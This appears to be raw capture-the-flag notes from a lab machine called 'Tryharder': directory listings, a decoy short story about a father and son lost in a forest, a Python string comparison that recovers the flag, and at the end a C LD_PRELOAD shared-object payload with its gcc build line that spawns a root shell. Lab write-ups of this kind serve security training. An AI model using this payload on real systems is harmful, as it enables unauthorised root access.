www-data@Tryharder:/tmp$ ls /var/backups/.secret/.verysecret/.noooooo                                                                                        ls /var/backups/.secret/.verysecret/.noooooo                                                                                                                 
note2.txt  

www-data@Tryharder:/tmp$ cat /var/backups/.secret/.verysecret/.noooooo/note2.txt        
The Compass and the Campfire                                                                                                                                 

David knelt beside his ten-year-old son, Jake, their shared backpack spilling onto the forest floor. "Lost?" Jake whispered, staring at the identical trees clawing at the twilight. David’s calloused fingers brushed the cracked compass in his palm—a relic from his father, its needle trembling like a moth. "Not lost," he lied. "Just… rerouting."        
                                                                                                                                                             
Jake’s eyes narrowed, too sharp for comfort. "Your compass is broken."        
                                                                                                                                                             
A chuckle escaped David, brittle as dry leaves. "Compasses don’t break, bud. They… forget." He flipped it open, the glass fogged with age. "See? North isn’t 
where it should be. It’s where it chooses to be tonight."                     
                                                                                                                                                             
The boy frowned, then yelped as a pinecone thudded beside him. A red squirrel chattered overhead, its tail flicking like a metronome. Jake’s fear dissolved into giggles. David watched, throat tight. He’s still young enough to laugh at squirrels.                                                                     
                                       
"Dad?" Jake unzipped his jacket, revealing three granola bars and a glowstick. "We’ve got supplies. Let’s build a fort."                                     
                                       
They wove branches into a crooked shelter, Jake’s hands steady where David’s shook. When the first stars pierced the canopy, David confessed: "Grandpa gave me this compass the day I got lost in the mall. Told me it’d always point home."                                                                              
                                       
Jake snapped the glowstick, bathing their fort in alien green. "Does it work now?"                                                                           
                                       
The needle quivered, settling northwest. Toward the distant highway hum, not their cabin’s woodsmoke. David closed the brass lid. "Nope. But you do." He nodded at Jake’s pocket—where a crumpled trail map peeked out, dotted with the boy’s doodled dinosaurs.                                                          
                                       
Dawn found them at the cabin’s porch, guided by Jake’s roars laughter and the squirrels he’d named "Sir Nibbles". The compass stayed in David’s pocket, its secret safe: true north had shifted years ago, anyway—from steel poles to a gap-toothed grin eating pancakes at 6 AM.           

www-data@Tryharder:/tmp$ cat /srv/...
Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu../

Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...
 ⚡ root@kali  ~/Desktop/test/tryharder  cat a.txt                  
Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...
 ⚡ root@kali  ~/Desktop/test/tryharder  cat b.txt  
Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu../

s1 = "Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight..."
s2 = "Iuwbtthfbetuoftimfs\"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu../"

result = "".join("0" if ch1 == ch2 else "1" for ch1, ch2 in zip(s1, s2))
print(result)

0101100100110000010101010101111100110101010011010011010001010011010010000011001101000100010111110011000100110111010111110011100001010101010001000100010001011001

Y0U_5M4SH3D_17_8UDDY

xiix@Tryharder:/tmp$ cat a.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

gcc -fPIC -shared -nostartfiles -o /tmp/payload.so payload.c